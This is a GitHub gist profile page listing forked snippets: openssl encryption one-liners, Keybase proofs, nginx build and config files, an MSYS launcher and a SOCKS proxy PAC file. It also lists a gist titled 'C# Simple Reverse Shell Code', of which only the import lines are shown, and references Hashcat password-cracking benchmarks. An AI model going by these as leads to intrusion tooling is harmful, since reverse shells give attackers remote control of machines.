Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View akiraaisha's full-sized avatar
🤔

Julian Lugod akiraaisha

🤔
  • Philippines
View GitHub Profile
@akiraaisha
akiraaisha / gist:bc94b61fd6528e78daac
Created January 31, 2016 21:04 — forked from corvax19/openssh-encrypt-decrypt.txt
Simple text encryption/decryption with openssl
echo -n "That's the text"|openssl enc -e -aes-256-cbc -a
Encrypt with interactive password. Encrypted message is base64-encoded afterwards.
echo -n "That's the text"|openssl enc -e -aes-256-cbc -a -k "MySuperPassword"
Encrypt with specified password. Encrypted message is base64-encoded afterwards.
echo "GVkYiq1b4M/8ZansBC3Jwx/UtGZzlxJPpygyC"|openssl base64 -d|openssl enc -d -aes-256-cbc
Base-64 decode and decrypt message with interactive password.
echo "GVkYiq1b4M/8ZansBC3Jwx/UtGZzlxJPpygyC"|openssl base64 -d|openssl enc -d -aes-256-cbc -k "MySuperPassword"
@akiraaisha
akiraaisha / 8x1080.md
Created April 7, 2017 17:00 — forked from epixoip/8x1080.md
8x Nvidia GTX 1080 Hashcat Benchmarks

Keybase proof

I hereby claim:

  • I am akiraaisha on github.
  • I am julianlugod (https://keybase.io/julianlugod) on keybase.
  • I have a public key ASDQI5RLx5SvLxVfcFL2CY2nFjz-oIEovLM58IchLaeaawo

To claim this, I am signing this object:

Keybase proof

I hereby claim:

  • I am akiraaisha on github.
  • I am julianlugod (https://keybase.io/julianlugod) on keybase.
  • I have a public key whose fingerprint is 3910 86C3 6F7B 4244 2DAF 1311 8414 589F BE88 CAC1

To claim this, I am signing this object:

@akiraaisha
akiraaisha / msys-env.cmd
Created August 26, 2018 04:11 — forked from juntalis/msys-env.cmd
A (Windows) batch script to open the MSYS shell in the user's current window (cmd.exe or whatever wrapper you're using) at the user's current folder. It requires getcp.exe be in your msys bin folder. (getcp.exe is included with msysgit) It also generates
@rem Do not use "echo off" to not affect any child calls.
@SETLOCAL
@SETLOCAL ENABLEEXTENSIONS
:: Figure out where msys's root folder. If you want, you could just add the folder in the line
:: below.
@set MSYSROOT=
@if "x%MSYSROOT%"=="x" @if exist "%~dp0msys.bat" @set MSYSROOT=%~dp0
@if "x%MSYSROOT%"=="x" @if exist "%~dp0.msys-root" @set /P MSYSROOT=<%~dp0.msys-root
@if "x%MSYSROOT%"=="x" (
@akiraaisha
akiraaisha / nginx-boringssl-build-script-debian.sh
Created September 19, 2018 18:27 — forked from neilstuartcraig/nginx-boringssl-build-script-debian.sh
This builds NGINX from source with BoringSSL for Debian (alike?) systems with systemd (e.g. Debian Jessie)
#!/bin/bash
LATESTNGINX="1.11.10"
BUILDROOT="/tmp/boring-nginx"
# Pre-req
sudo apt-get update
sudo apt-get upgrade -y
# Install deps
@akiraaisha
akiraaisha / nginx.conf
Last active October 8, 2018 03:24
NGINX working config
#user nobody;
worker_processes auto;
error_log logs/error.log;
#error_log logs/error.log notice;
#error_log logs/error.log info;
pid logs/nginx.pid;
@akiraaisha
akiraaisha / Simple_Rev_Shell.cs
Created October 18, 2018 14:37 — forked from BankSecurity/Simple_Rev_Shell.cs
C# Simple Reverse Shell Code
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
function FindProxyForURL(url, host)
{
var useSocks = [".dnsleaktest.com|music.youtube.com|.crunchyroll.com"]; //sites that's going to be using Socks
var useDirect = ["youtube.com"] //and this is for direct
for (var i= 0; i < useSocks.length; i++) {
if (shExpMatch(host, useSocks[i])) {
return "SOCKS5 localhost:9050";
}
}
for (var i= 0; i < useDirect.length; i++) {

Keybase proof

I hereby claim:

  • I am akiraaisha on github.
  • I am julianlugod (https://keybase.io/julianlugod) on keybase.
  • I have a public key whose fingerprint is 1FBC 2B1B B35C E088 EB03 3263 0C8A C73B 2A8B 5BA7

To claim this, I am signing this object: